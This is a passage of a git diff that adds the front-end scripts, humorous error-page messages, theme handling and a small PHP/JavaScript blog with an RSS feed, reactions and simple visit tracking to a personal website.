requires more credentials than a spy movie.", + "You need authentication. This isn't a BYOB party.", + "Unauthorized access attempt. The server is judging you right now.", + "Credentials required. No, 'password123' doesn't count.", + "Authentication failed. Try harder. Or don't. The server doesn't care.", + "Access denied. Even the server has standards.", + "You're not authorized. The bouncer said no." + ], + 403: [ + "Forbidden. This isn't the page you're looking for. Move along.", + "Access forbidden. The server has trust issues. Can you blame it?", + "Permission denied. The server said 'absolutely not' in seventeen languages.", + "Forbidden territory. Even VPNs can't save you now.", + "This area is off-limits. The server drew a line. You crossed it.", + "Access forbidden. The server is protecting you from yourself.", + "Permission denied. The server would rather die than show you this.", + "Forbidden. This page has restraining orders against browsers like yours.", + "Access denied. The server is gatekeeping. Deal with it.", + "This content is forbidden. The server has standards, unlike some people." + ], + 404: [ + "Page not found. It's gone. Vanished. Poof. Like my motivation on Monday.", + "The page you seek does not exist in this dimension. Try another reality.", + "This page doesn't exist. Neither do my regrets about creating this message.", + "The server searched everywhere. Even checked under the couch.", + "Page not found. It left. Said it needed to find itself. We're all very supportive.", + "The page you're looking for has achieved enlightenment and transcended the web.", + "This page doesn't exist. It's not you, it's me. Actually, it's definitely you.", + "The server even checked the last place you'd look. Still nothing.", + "Page not found. It's in witness protection. The server knows where it is but won't tell.", + "The page escaped. Last seen heading toward the exit. We're not chasing it.", + "This page doesn't exist. The server looked twice. Still gone. Accept it.", + "The page ran away to join the circus. Good for it." + ], + 405: [ + "Method not allowed. The server rejected your approach. Try a different strategy.", + "HTTP method denied. The server is picky about how you ask questions.", + "Method not allowed. The server prefers a more elegant approach.", + "This method isn't allowed here. The server has strict rules about manners.", + "Method rejected. The server wants you to ask nicely next time.", + "HTTP method not allowed. The server is traditional. Write a letter instead." + ], + 408: [ + "Request timeout. You took too long. The server has moved on with its life.", + "Timeout. The server waited. And waited. And got tired of waiting.", + "Request timeout. The server gave up. You should probably do the same.", + "Too slow. The server timed out waiting for you to make up your mind.", + "Request timeout. The server has better things to do than wait for your request.", + "Timeout. The server lost interest. Can you blame it?" + ], + 429: [ + "Slow down, turbo. The server isn't impressed by your enthusiasm.", + "Rate limit exceeded. You've been greedy. The server noticed.", + "The server is overwhelmed. By you. Specifically.", + "Rate limit. You're making too many requests. The server needs a break from you.", + "The server is putting you in timeout. Think about what you've done.", + "Rate limit exceeded. The server is judging your lack of patience.", + "Slow down. You're making too many requests. The server has trust issues now.", + "Rate limit exceeded. The server says 'no more'. It's not negotiable." + ], + 500: [ + "We may or may not have broken something. Oops.", + "Something went wrong. We're pretending it's not our fault.", + "The server had a moment. It happens. Usually on Fridays.", + "The hamsters powering the server need a coffee break.", + "Something broke. The server is working on it. Or sleeping. Hard to tell.", + "The server made a mistake. We're all human. Well, the server isn't, but you know.", + "The server tried its best. Its best wasn't good enough today.", + "Something crashed. Probably our hopes and dreams.", + "The server is having an existential crisis. Give it a moment.", + "The server regrets to inform you that it regrets.", + "Something went wrong. The server is embarrassed. Please look away.", + "The server encountered an error while encountering an error. Meta." + ], + 502: [ + "The upstream server is having a bad day. Join the club.", + "The server talked to another server. They're not speaking anymore.", + "The server reached out for help. The other server hung up.", + "The gateway is bad. The server would elaborate, but it's bad at explaining things.", + "The upstream server said 'no'. We're respecting its boundaries.", + "Two servers walked into a bar. Neither ordered anything useful.", + "The server called for backup. Backup didn't answer.", + "Communication failed between servers. Relationship status: it's complicated." + ], + 503: [ + "The server is currently unavailable. Try again later. Or don't. Your choice.", + "The server is taking a mental health day.", + "The server is out of the office. It left a note. We can't read it.", + "The service is down. The server is using this time to reflect on its choices.", + "The server is temporarily unavailable. Permanently temporary.", + "The service is taking a break. Self-care is important, even for servers.", + "The server is busy. It's busy being unavailable.", + "The service is down for maintenance. Or questioning its purpose. Same thing." + ], + 504: [ + "The server waited too long. It's done waiting.", + "The gateway timed out waiting for another server. Patience isn't infinite.", + "The server waited patiently. Then impatiently. Then gave up.", + "The gateway is having commitment issues. It won't wait forever.", + "The other server took too long. This server has places to be.", + "The gateway waited. And waited. Now it's leaving.", + "The server's patience expired before your request did.", + "Time's up. The gateway moved on. You should too." + ] + }; + + const errorMessages = messages[errorCode] || [ + `Error ${errorCode}. Something went wrong. The server is confused, and honestly, so are we.` + ]; + + // Randomly select a message + const randomIndex = Math.floor(Math.random() * errorMessages.length); + return errorMessages[randomIndex]; +} + diff --git a/assets/js/error-page.js b/assets/js/error-page.js new file mode 100644 index 0000000..30e1831 --- /dev/null +++ b/assets/js/error-page.js @@ -0,0 +1,33 @@ +// Error page script - loads error messages and updates the page +(function() { + const errorCode = parseInt(document.body.getAttribute('data-error-code') || '404', 10); + + const script = document.createElement('script'); + script.src = 'error-messages.js'; + script.onload = function() { + const messageElement = document.getElementById('errorMessage'); + if (messageElement && typeof getErrorMessage === 'function') { + messageElement.textContent = getErrorMessage(errorCode); + } else if (messageElement) { + // Fallback messages + const fallbacks = { + 403: "Forbidden. This isn't the page you're looking for. Move along.", + 404: "Page not found. It's gone. Vanished. Poof. Like my motivation on Monday.", + 500: "Internal server error. We broke something. Oops." + }; + messageElement.textContent = fallbacks[errorCode] || "Something went wrong."; + } + }; + script.onerror = function() { + const messageElement = document.getElementById('errorMessage'); + if (messageElement) { + const fallbacks = { + 403: "Forbidden. This isn't the page you're looking for. Move along.", + 404: "Page not found. It's gone. Vanished. Poof. Like my motivation on Monday.", + 500: "Internal server error. We broke something. Oops." + }; + messageElement.textContent = fallbacks[errorCode] || "Something went wrong."; + } + }; + document.head.appendChild(script); +})(); diff --git a/assets/js/main.js b/assets/js/main.js new file mode 100644 index 0000000..7f3f7bd --- /dev/null +++ b/assets/js/main.js @@ -0,0 +1,99 @@ +// Figure out what time-based lie to tell visitors about their life choices +const determineGreet = hours => { + document.getElementById("greeting").innerText = `It's ${hours < 12 ? "Morning and Currently" : hours < 18 ? "Afternoon and Currently" : "Evening and Currently"}`; +}; + +// Show the relentless march of time +function displayTime(time) { + document.getElementById("time").innerHTML = time; +} + +// Passive-aggressively suggest blog reading at 2-hour intervals (we're persistent, not pushy) +const determineBlogMessage = hours => { + let message; + + if (hours >= 0 && hours < 2) { + message = "Late night reading? Check out my
      Blog"; + } else if (hours >= 2 && hours < 4) { + message = "Insomniac hours? Peruse my Blog"; + } else if (hours >= 4 && hours < 6) { + message = "Early bird? Catch up on my Blog"; + } else if (hours >= 6 && hours < 8) { + message = "Coffee and a Blog?"; + } else if (hours >= 8 && hours < 10) { + message = "Morning routine? Add my Blog to it"; + } else if (hours >= 10 && hours < 12) { + message = "Mid-morning break? Read my Blog"; + } else if (hours >= 12 && hours < 14) { + message = "Lunch break? Browse my Blog"; + } else if (hours >= 14 && hours < 16) { + message = "Afternoon slump? Perk up with my Blog"; + } else if (hours >= 16 && hours < 18) { + message = "It's a good time to read my Blog"; + } else if (hours >= 18 && hours < 20) { + message = "Get comfy and read my Blog"; + } else if (hours >= 20 && hours < 22) { + message = "Wind down with my Blog"; + } else { + message = "Nightcap? End your day with my Blog"; + } + document.getElementById("blogMessage").innerHTML = message; +}; + + +// Tick tock, tick tock - time marches on regardless of your location +setInterval(function () { + const today = new Date(); + const time = today.toLocaleTimeString('en-US', { + hour: '2-digit', + minute: '2-digit', + hour12: false + }); + displayTime(time); +}, 1000); + +// Fetch the freshest posts to lure readers into the content trap +async function loadRecentPosts() { + try { + const response = await fetch('blog/api/posts.php'); + const posts = await response.json(); + const recentPostsContainer = document.getElementById("recentPosts"); + + // Only the top 3 - we're not monsters showing everything at once + const recentPosts = posts.slice(0, 3); + + recentPosts.forEach(post => { + const postLink = document.createElement('a'); + postLink.href = `blog/post.html?id=${post.id}`; + postLink.textContent = `${post.date} - ${post.title}`; + recentPostsContainer.appendChild(postLink); + }); + } catch (error) { + console.error('Error loading blog posts:', error); + // Silence is golden when things break + } +} + +// Boot up the whole circus when the page loads +window.addEventListener('load', (event) => { + const today = new Date(); + const time = today.toLocaleTimeString('en-US', { + hour: '2-digit', + minute: '2-digit', + hour12: false + }); + // Your timezone, your problem - we just display what your browser tells us + const localHours = today.getHours(); + determineGreet(localHours); + determineBlogMessage(localHours); + displayTime(time); + loadRecentPosts(); + // updateWeather(); // Weather is overrated anyway +}); + +// Keep harassing visitors about the blog every 60 seconds +setInterval(function () { + const today = new Date(); + const localHours = today.getHours(); + determineBlogMessage(localHours); +}, 60000); diff --git a/assets/js/theme-init.js b/assets/js/theme-init.js new file mode 100644 index 0000000..721cd0c --- /dev/null +++ b/assets/js/theme-init.js @@ -0,0 +1,7 @@ +// Apply theme immediately to prevent flash +(function() { + const theme = localStorage.getItem('theme') || + (window.matchMedia && window.matchMedia('(prefers-color-scheme: dark)').matches ? 'dark' : 'light'); + document.documentElement.setAttribute('data-theme', theme); +})(); + diff --git a/assets/js/theme.js b/assets/js/theme.js new file mode 100644 index 0000000..6dca1f3 --- /dev/null +++ b/assets/js/theme.js @@ -0,0 +1,130 @@ +// Theme system - helping visitors avoid retinal damage since 2024 +(function() { + 'use strict'; + + const html = document.documentElement; + + function getStoredTheme() { + // Check everywhere for theme preferences - we're thorough like that + if (typeof localStorage !== 'undefined') { + const stored = localStorage.getItem('theme'); + if (stored === 'dark' || stored === 'light') { + return stored; + } + } + + const cookies = document.cookie.split(';'); + for (let cookie of cookies) { + const [name, value] = cookie.trim().split('='); + if (name === 'simple_style' && (value === 'dark' || value === 'light')) { + return value; + } + if (name === 'theme' && (value === 'dark' || value === 'light')) { + return value; + } + } + + // When in doubt, trust the OS (they know what they're doing... probably) + if (window.matchMedia && window.matchMedia('(prefers-color-scheme: dark)').matches) { + return 'dark'; + } + return 'light'; + } + + function setThemeEverywhere(theme) { + // Scatter theme preferences like seeds in the wind - something's gotta stick + const cookieOptions = `path=/; max-age=${60 * 60 * 24 * 365 * 5}; SameSite=Lax`; + + // localStorage for the modern folks + if (typeof localStorage !== 'undefined') { + localStorage.setItem('theme', theme); + } + + // Cookies for SearXNG (it's picky about naming conventions) + document.cookie = `simple_style=${theme}; ${cookieOptions}`; + + // More cookies - redundancy is our middle name + document.cookie = `theme=${theme}; ${cookieOptions}`; + + // Data attribute for immediate gratification + html.setAttribute('data-theme', theme); + + // Don't forget the icon - visual feedback matters + updateToggleIcon(theme); + } + + function getTheme() { + return getStoredTheme(); + } + + function setTheme(theme) { + setThemeEverywhere(theme); + } + + function updateToggleIcon(theme) { + const themeToggle = document.getElementById('themeToggle'); + if (themeToggle) { + const moonIcon = themeToggle.querySelector('.theme-icon-moon'); + const sunIcon = themeToggle.querySelector('.theme-icon-sun'); + if (moonIcon && sunIcon) { + if (theme === 'dark') { + moonIcon.style.display = 'none'; + sunIcon.style.display = 'block'; + } else { + moonIcon.style.display = 'block'; + sunIcon.style.display = 'none'; + } + } + } + } + + function toggleTheme() { + const currentTheme = html.getAttribute('data-theme') || getTheme(); + const newTheme = currentTheme === 'dark' ? 'light' : 'dark'; + setTheme(newTheme); + } + + function initTheme() { + const theme = getTheme(); + setTheme(theme); + + const themeToggle = document.getElementById('themeToggle'); + if (themeToggle) { + themeToggle.removeEventListener('click', toggleTheme); // No double-clicking shenanigans + themeToggle.addEventListener('click', toggleTheme); + } + } + + // Dance the cookie shuffle before searching - SearXNG has opinions + const searchForm = document.getElementById('search'); + if (searchForm) { + searchForm.addEventListener('submit', function(e) { + const theme = getTheme(); + // Out with the old cookie + document.cookie = 'theme=; path=/; max-age=0; SameSite=Lax'; + // In with SearXNG's preferred flavor + const cookieOptions = `path=/; max-age=${60 * 60 * 24 * 365 * 5}; SameSite=Lax`; + document.cookie = `simple_style=${theme}; ${cookieOptions}`; + }); + } + + // Get this party started + if (document.readyState === 'loading') { + document.addEventListener('DOMContentLoaded', initTheme); + } else { + initTheme(); + } + + // Listen for OS theme changes - stay responsive to user preferences + if (window.matchMedia) { + const mediaQuery = window.matchMedia('(prefers-color-scheme: dark)'); + if (mediaQuery.addEventListener) { + mediaQuery.addEventListener('change', function(e) { + // Only auto-switch if they haven't explicitly chosen - consent matters + if (!localStorage.getItem('theme') && !document.cookie.includes('simple_style') && !document.cookie.includes('theme=')) { + setTheme(e.matches ? 'dark' : 'light'); + } + }); + } + } +})(); diff --git a/blog/admin/example-post.md b/blog/admin/example-post.md new file mode 100644 index 0000000..8df6dfb --- /dev/null +++ b/blog/admin/example-post.md @@ -0,0 +1,10 @@ +--- +title: Example Blog Post +excerpt: This is a brief excerpt that appears on the homepage +--- + +This is the first paragraph of your blog post content. + +This is the second paragraph, separated by a double newline. + +You can write as much content as you want here, using standard markdown formatting if desired. The content will be stored as-is and displayed on the blog page. diff --git a/blog/admin/index.php b/blog/admin/index.php new file mode 100755 index 0000000..a274591 --- /dev/null +++ b/blog/admin/index.php @@ -0,0 +1,101 @@ +#!/usr/bin/env php + $nextId, + 'title' => $title, + 'date' => $date, + 'excerpt' => $excerpt, + 'content' => $postContent +]; + +// Add to array +$posts[] = $newPost; + +// Write back to file +file_put_contents($blogFile, json_encode($posts, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES) . "\n"); + +echo "Blog post added successfully!\n"; +echo "ID: $nextId\n"; +echo "Date: $date\n"; +echo "Title: $title\n"; diff --git a/blog/api/feed.php b/blog/api/feed.php new file mode 100644 index 0000000..53bcc79 --- /dev/null +++ b/blog/api/feed.php @@ -0,0 +1,127 @@ + $now, + 'userAgent' => substr($userAgent, 0, 200), // Limit length + 'ip' => $ip, + 'firstSeen' => $readers[$readerId]['firstSeen'] ?? $now +]; + +// Clean up old readers (haven't fetched in 30+ days to keep file size manageable) +$thirtyDaysAgo = $now - (30 * 24 * 60 * 60); +foreach ($readers as $id => $reader) { + if ($reader['lastFetch'] < $thirtyDaysAgo) { + unset($readers[$id]); + } +} + +// Save readers data +file_put_contents($readersFile, json_encode($readers, JSON_PRETTY_PRINT)); + +// Calculate active subscribers (fetched in last 7 days) +$sevenDaysAgo = $now - (7 * 24 * 60 * 60); +$activeSubscribers = 0; +foreach ($readers as $reader) { + if ($reader['lastFetch'] >= $sevenDaysAgo) { + $activeSubscribers++; + } +} + +// Update summary - track RSS feed fetch (for historical data) +$summary = []; +if (file_exists($summaryFile)) { + $summary = json_decode(file_get_contents($summaryFile), true) ?: []; +} + +if (!isset($summary['rss'])) { + $summary['rss'] = 0; +} +$summary['rss']++; +$summary['activeRssSubscribers'] = $activeSubscribers; // Store active count + +// Ensure directory is writable +$result = file_put_contents($summaryFile, json_encode($summary, JSON_PRETTY_PRINT)); +if ($result === false) { + error_log("Failed to write RSS tracking to $summaryFile"); +} + +// Generate and output RSS feed +$postsFile = __DIR__ . '/../data/posts.json'; +$posts = []; +if (file_exists($postsFile)) { + $posts = json_decode(file_get_contents($postsFile), true) ?: []; +} + +// Sort posts by date (newest first) +usort($posts, function($a, $b) { + return strtotime($b['date']) - strtotime($a['date']); +}); + +// Escape XML +function escapeXml($str) { + if (!$str) return ''; + return htmlspecialchars($str, ENT_XML1, 'UTF-8'); +} + +// Format content +function formatContent($content) { + return nl2br(htmlspecialchars($content, ENT_XML1, 'UTF-8')); +} + +// Generate RSS items +$rssItems = ''; +foreach ($posts as $post) { + $title = escapeXml($post['title']); + $excerpt = escapeXml($post['excerpt']); + $content = formatContent($post['content']); + $pubDate = date('r', strtotime($post['date'])); + $link = 'https://example.com/blog/post.html?id=' . $post['id']; + + $rssItems .= " \n"; + $rssItems .= " {$title}\n"; + $rssItems .= " {$link}\n"; + $rssItems .= " {$link}\n"; + $rssItems .= " {$pubDate}\n"; + $rssItems .= "
      {$content}]]>
      \n"; + $rssItems .= "
      \n"; +} + +// Output RSS XML +echo '' . "\n"; +echo '' . "\n"; +echo " \n"; +echo " My Blog\n"; +echo " https://example.com/blog\n"; +echo " Blog posts\n"; +echo " en-us\n"; +echo " " . date('r') . "\n"; +echo " \n"; +echo $rssItems; +echo " \n"; +echo "\n"; +?> diff --git a/blog/api/posts.php b/blog/api/posts.php new file mode 100644 index 0000000..0fa0f7a --- /dev/null +++ b/blog/api/posts.php @@ -0,0 +1,14 @@ + 'Posts not found']); // The void stares back, and it's hungry +} +?> diff --git a/blog/data/posts.json b/blog/data/posts.json new file mode 100644 index 0000000..0f563ff --- /dev/null +++ b/blog/data/posts.json @@ -0,0 +1,9 @@ +[ + { + "id": 0, + "title": "Getting Started with This Website", + "date": "2025-01-01", + "excerpt": "Welcome to my website. This is a sample blog post to help you get started with customizing your own site.", + "content": "Welcome to my website! This is a sample blog post that demonstrates how the blog system works.\n\nYou can customize this template to fit your needs. The blog supports simple text formatting and will display your content in a clean, readable format.\n\nTo add new blog posts, you can edit the posts.json file directly or use the admin interface. Each post needs a unique ID, title, date, excerpt, and content.\n\nFeel free to replace this content with your own thoughts, tutorials, or whatever you'd like to share with your visitors.\n\nHappy blogging!" + } +] diff --git a/blog/index.html b/blog/index.html new file mode 100644 index 0000000..9d35231 --- /dev/null +++ b/blog/index.html @@ -0,0 +1,55 @@ + + + + + + + + + + + + Blog - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +/ \ / \_ _____/\______ \/ _____/| \__ ___/\_ _____/ +\ \/\/ /| __)_ | | _/\_____ \ | | | | | __)_ + \ / | \ | | \/ \| | | | | \ + \__/\ / /_______ / |______ /_______ /|___| |____| /_______ / + \/ \/ \/ \/ \/ + +
      +
      +
      + + + +

      Blog Posts

      + + + +
      +
      +
      + +
      + + + + + + diff --git a/blog/js/analytics.js b/blog/js/analytics.js new file mode 100644 index 0000000..3d45fc3 --- /dev/null +++ b/blog/js/analytics.js @@ -0,0 +1,56 @@ +// Analytics tracking +(function() { + // Generate or retrieve visitor ID + function getVisitorId() { + let visitorId = localStorage.getItem('visitorId'); + if (!visitorId) { + visitorId = 'visitor_' + Date.now() + '_' + Math.random().toString(36).substr(2, 9); + localStorage.setItem('visitorId', visitorId); + } + return visitorId; + } + + // Track page view + function trackPageView() { + const visitorId = getVisitorId(); + const page = window.location.pathname + window.location.hash; + + fetch('/api/track.php', { + method: 'POST', + headers: { + 'Content-Type': 'application/json', + }, + body: JSON.stringify({ + type: 'pageview', + page: page, + visitorId: visitorId + }) + }).catch(err => console.error('Analytics error:', err)); + } + + // Track page view on load + if (document.readyState === 'loading') { + document.addEventListener('DOMContentLoaded', trackPageView); + } else { + trackPageView(); + } + + // Track RSS link clicks + const rssLink = document.getElementById('rssLink'); + if (rssLink) { + rssLink.addEventListener('click', function() { + const visitorId = getVisitorId(); + fetch('/api/track.php', { + method: 'POST', + headers: { + 'Content-Type': 'application/json', + }, + body: JSON.stringify({ + type: 'rss_click', + page: '/blog/feed.xml', + visitorId: visitorId + }) + }).catch(err => console.error('RSS tracking error:', err)); + }); + } +})(); diff --git a/blog/js/blog.js b/blog/js/blog.js new file mode 100644 index 0000000..d4faf2c --- /dev/null +++ b/blog/js/blog.js @@ -0,0 +1,61 @@ +// Summon the blog posts from their JSON tomb +async function loadBlogPosts() { + try { + // Use relative path - this should work when blog.js is loaded from /blog/index.html + const apiPath = 'api/posts.php'; + + const response = await fetch(apiPath); + if (!response.ok) { + throw new Error(`HTTP error! status: ${response.status}`); + } + const posts = await response.json(); + + // Validate that we got an array + if (!Array.isArray(posts)) { + throw new Error('Invalid response format: expected array'); + } + + const container = document.getElementById("blogPostsContainer"); + if (!container) { + throw new Error('Blog posts container not found'); + } + + // Newest first - we're not savages reading in chronological order + const sortedPosts = posts.sort((a, b) => new Date(b.date) - new Date(a.date)); + + // Out with the old (loading message probably) + container.innerHTML = ''; + + if (sortedPosts.length === 0) { + container.innerHTML = '

      No blog posts found. Add some posts to get started!

      '; + return; + } + + sortedPosts.forEach(post => { + const postElement = document.createElement('div'); + postElement.className = 'blog-post-preview'; + postElement.id = `post-preview-${post.id}`; + + postElement.innerHTML = ` +

      ${post.title}

      + +

      ${post.excerpt}

      + Read more → + `; + + container.appendChild(postElement); + }); + + } catch (error) { + console.error('Error loading blog posts:', error); + const container = document.getElementById("blogPostsContainer"); + if (container) { + container.innerHTML = + '

      Error loading blog posts. Make sure you\'re running a PHP server and the posts.json file exists.

      '; + } + // Fail gracefully - no one likes a drama queen + } +} + +// Start the blog parade when the page finishes loading +window.addEventListener('load', loadBlogPosts); diff --git a/blog/js/generate-rss.js b/blog/js/generate-rss.js new file mode 100755 index 0000000..6e2289b --- /dev/null +++ b/blog/js/generate-rss.js @@ -0,0 +1,71 @@ +#!/usr/bin/env node +// Script to generate RSS feed from blog-posts.json +const fs = require('fs'); +const path = require('path'); + +const postsPath = path.join(__dirname, 'blog-posts.json'); +const feedPath = path.join(__dirname, 'feed.xml'); + +try { + const posts = JSON.parse(fs.readFileSync(postsPath, 'utf8')); + + // Sort posts by date (newest first) + const sortedPosts = posts.sort((a, b) => new Date(b.date) - new Date(a.date)); + + // Escape XML special characters + const escapeXml = (str) => { + if (!str) return ''; + return str.toString() + .replace(/&/g, '&') + .replace(//g, '>') + .replace(/"/g, '"') + .replace(/'/g, '''); + }; + + // Convert content newlines to HTML breaks + const formatContent = (content) => { + return content.split('\n\n') + .map(p => p.trim()) + .filter(p => p.length > 0) + .join('

      '); + }; + + // Generate RSS items + const rssItems = sortedPosts.map(post => { + const title = escapeXml(post.title); + const excerpt = escapeXml(post.excerpt); + const content = formatContent(post.content); + const pubDate = new Date(post.date + 'T00:00:00Z').toUTCString(); + const link = `https://example.com/blog/post.html?id=${post.id}`; + + return ` + ${title} + ${link} + ${link} + ${pubDate} +
      ${content}]]>
      +
      `; + }).join('\n'); + + // Generate RSS XML + const rssXml = ` + + + My Blog + https://example.com/blog + Blog posts + en-us + ${new Date().toUTCString()} + +${rssItems} + +`; + + // Write RSS feed file + fs.writeFileSync(feedPath, rssXml, 'utf8'); + console.log('RSS feed generated successfully at', feedPath); +} catch (error) { + console.error('Error generating RSS feed:', error); + process.exit(1); +} diff --git a/blog/js/post.js b/blog/js/post.js new file mode 100644 index 0000000..b814112 --- /dev/null +++ b/blog/js/post.js @@ -0,0 +1,122 @@ +// Load and display a single blog post +async function loadBlogPost() { + try { + // Use relative path - this should work when post.js is loaded from /blog/post.html + const apiPath = 'api/posts.php'; + + const response = await fetch(apiPath); + if (!response.ok) { + throw new Error(`HTTP error! status: ${response.status}`); + } + const posts = await response.json(); + + // Validate that we got an array + if (!Array.isArray(posts)) { + throw new Error('Invalid response format: expected array'); + } + + // Get post ID from URL query parameter + const urlParams = new URLSearchParams(window.location.search); + const postId = parseInt(urlParams.get('id')); + + if (isNaN(postId)) { + document.getElementById('blogPostContainer').innerHTML = + '

      Invalid post ID. Please select a post from the sidebar.

      '; + loadSidebarNavigation(posts); + return; + } + + // Find the post + const post = posts.find(p => p.id === postId); + + if (!post) { + document.getElementById('blogPostContainer').innerHTML = + '

      Post not found. Please select a post from the sidebar.

      '; + loadSidebarNavigation(posts); + return; + } + + // Update page title + const pageTitleEl = document.getElementById('pageTitle'); + if (pageTitleEl) { + pageTitleEl.textContent = `${post.title} - Launch Pad`; + } + const blogPostTitleEl = document.getElementById('blogPostTitle'); + if (blogPostTitleEl) { + blogPostTitleEl.textContent = `Post-${post.id}`; + } + + // Convert content newlines to paragraphs + const contentParagraphs = post.content.split('\n\n').filter(p => p.trim().length > 0); + const formattedContent = contentParagraphs.map(p => `

      ${p.trim()}

      `).join(''); + + const container = document.getElementById('blogPostContainer'); + container.innerHTML = ` +
      +

      ${post.title}

      + +

      ${post.excerpt}

      +
      ${formattedContent}
      +
      + ${window.blogReactions ? window.blogReactions.createReactionButtons(post.id) : ''} +

      -- Author --

      + ${window.blogReactions ? window.blogReactions.createShareButtons(post.id) : ''} +
      +
      + `; + + // Load reactions for this post + if (window.blogReactions) { + window.blogReactions.loadReactions(post.id); + } + + // Load sidebar navigation + loadSidebarNavigation(posts, postId); + + // Align blog-sidebar top with blog-post-container top + setTimeout(() => { + const blogPostContainer = document.getElementById('blogPostContainer'); + const blogSidebar = document.getElementById('blogSidebar'); + if (blogPostContainer && blogSidebar) { + const containerTop = blogPostContainer.getBoundingClientRect().top; + const layoutTop = blogPostContainer.closest('.blog-layout').getBoundingClientRect().top; + const offset = containerTop - layoutTop; + blogSidebar.style.marginTop = offset + 'px'; + } + }, 100); + + } catch (error) { + console.error('Error loading blog post:', error); + document.getElementById('blogPostContainer').innerHTML = + '

      Error loading blog post. Please try again later.

      '; + } +} + +// Load sidebar navigation with all posts +function loadSidebarNavigation(posts, currentPostId = null) { + const sidebarNav = document.getElementById('sidebarNav'); + + // Sort posts by date (newest first) + const sortedPosts = [...posts].sort((a, b) => new Date(b.date) - new Date(a.date)); + + // Clear existing navigation + sidebarNav.innerHTML = ''; + + sortedPosts.forEach(post => { + const navItem = document.createElement('a'); + navItem.href = `post.html?id=${post.id}`; + navItem.className = 'sidebar-post-link'; + navItem.textContent = `Post-${post.id}`; + + // Highlight current post + if (currentPostId !== null && post.id === currentPostId) { + navItem.classList.add('active'); + } + + navItem.title = post.title; + sidebarNav.appendChild(navItem); + }); +} + +// Load post when page loads +window.addEventListener('load', loadBlogPost); diff --git a/blog/js/reactions.js b/blog/js/reactions.js new file mode 100644 index 0000000..dcdb227 --- /dev/null +++ b/blog/js/reactions.js @@ -0,0 +1,200 @@ +// Reaction and share functionality +(function() { + // Generate or retrieve visitor ID + function getVisitorId() { + let visitorId = localStorage.getItem('visitorId'); + if (!visitorId) { + visitorId = 'visitor_' + Date.now() + '_' + Math.random().toString(36).substr(2, 9); + localStorage.setItem('visitorId', visitorId); + } + return visitorId; + } + + // Load reactions for a post + async function loadReactions(postId) { + try { + const response = await fetch(`/api/reaction.php?postId=${postId}`); + const data = await response.json(); + if (data.success) { + updateReactionButtons(postId, data.counts); + } + } catch (error) { + console.error('Error loading reactions:', error); + } + } + + // Send reaction + async function sendReaction(postId, reaction) { + const visitorId = getVisitorId(); + try { + const response = await fetch('/api/reaction.php', { + method: 'POST', + headers: { + 'Content-Type': 'application/json', + }, + body: JSON.stringify({ + postId: postId, + reaction: reaction, + visitorId: visitorId + }) + }); + + if (!response.ok) { + console.error('API error:', response.status, response.statusText); + return; + } + + const data = await response.json(); + console.log('Reaction response:', data); // Debug log + + if (data.success && data.counts) { + updateReactionButtons(postId, data.counts); + } else { + console.error('Invalid response:', data); + } + } catch (error) { + console.error('Error sending reaction:', error); + } + } + + // Update reaction button displays + function updateReactionButtons(postId, counts) { + const container = document.querySelector(`#post-${postId} .reactions-buttons`); + if (!container) return; + + ['like', 'love', 'helpful'].forEach(reaction => { + const button = container.querySelector(`.reaction-btn[data-reaction="${reaction}"]`); + if (button) { + const count = counts[reaction] || 0; + const countSpan = button.querySelector('.reaction-count'); + if (countSpan) { + countSpan.textContent = count; + } + } + }); + } + + // Track share event + async function trackShare(postId, platform) { + const visitorId = getVisitorId(); + try { + await fetch('/api/track.php', { + method: 'POST', + headers: { + 'Content-Type': 'application/json', + }, + body: JSON.stringify({ + type: 'share', + page: `/blog/post.html?id=${postId}`, + visitorId: visitorId, + platform: platform + }) + }); + } catch (error) { + console.error('Error tracking share:', error); + } + } + + // Inline SVG icons - using currentColor for theme support + const iconSVGs = { + like: '', + love: '', + helpful: '', + mastodon: '', + bluesky: '', + copy: '' + }; + + // Create reaction buttons HTML + function createReactionButtons(postId) { + return ` +
      +
      React
      +
      + + + +
      +
      + `; + } + + // Create share buttons HTML + function createShareButtons(postId) { + return ` + + `; + } + + // Handle reaction clicks + document.addEventListener('click', function(e) { + if (e.target.closest('.reaction-btn')) { + const button = e.target.closest('.reaction-btn'); + const postId = button.dataset.post; + const reaction = button.dataset.reaction; + sendReaction(postId, reaction); + } + }); + + // Handle share clicks + document.addEventListener('click', function(e) { + if (e.target.closest('.share-btn')) { + const button = e.target.closest('.share-btn'); + const platform = button.dataset.platform; + const postId = button.dataset.post; + const postTitle = document.querySelector(`#post-${postId} .blog-post-title`)?.textContent || ''; + // Construct URL without port (for .onion compatibility) + const origin = window.location.protocol + '//' + window.location.hostname; + const url = origin + '/blog/post.html?id=' + postId; + + if (platform === 'mastodon') { + trackShare(postId, 'mastodon'); + // Open Mastodon share - user can paste the URL + const mastodonUrl = `https://defcon.social/share?text=${encodeURIComponent(postTitle + ' ' + url)}`; + window.open(mastodonUrl, '_blank', 'width=550,height=420'); + } else if (platform === 'bluesky') { + trackShare(postId, 'bluesky'); + // Open Bluesky share + const blueskyUrl = `https://bsky.app/intent/compose?text=${encodeURIComponent(postTitle + ' ' + url)}`; + window.open(blueskyUrl, '_blank', 'width=550,height=420'); + } else if (platform === 'copy') { + trackShare(postId, 'copy'); + navigator.clipboard.writeText(url).then(() => { + const icon = button.querySelector('.share-icon-img'); + if (icon) { + const originalHTML = icon.outerHTML; + const isDarkMode = document.documentElement.getAttribute('data-theme') === 'dark'; + const checkColor = isDarkMode ? '#59C99C' : 'currentColor'; + icon.outerHTML = ``; + setTimeout(() => { + const checkIcon = button.querySelector('.share-icon-img'); + if (checkIcon) { + checkIcon.outerHTML = originalHTML; + } + }, 2000); + } + }); + } + } + }); + + // Export functions for use in blog.js + window.blogReactions = { + createReactionButtons: createReactionButtons, + createShareButtons: createShareButtons, + loadReactions: loadReactions + }; +})(); diff --git a/blog/js/rss.js b/blog/js/rss.js new file mode 100644 index 0000000..b521c32 --- /dev/null +++ b/blog/js/rss.js @@ -0,0 +1,106 @@ +// Generate RSS feed from blog posts +async function generateRSSFeed() { + try { + const response = await fetch('/blog/blog-posts.json'); + const posts = await response.json(); + + // Sort posts by date (newest first) + const sortedPosts = posts.sort((a, b) => new Date(b.date) - new Date(a.date)); + + // Build RSS XML + const rssItems = sortedPosts.map(post => { + // Escape HTML in content for XML + const escapeXml = (str) => { + return str.replace(/&/g, '&') + .replace(//g, '>') + .replace(/"/g, '"') + .replace(/'/g, '''); + }; + + const content = escapeXml(post.content); + const title = escapeXml(post.title); + const excerpt = escapeXml(post.excerpt); + const pubDate = 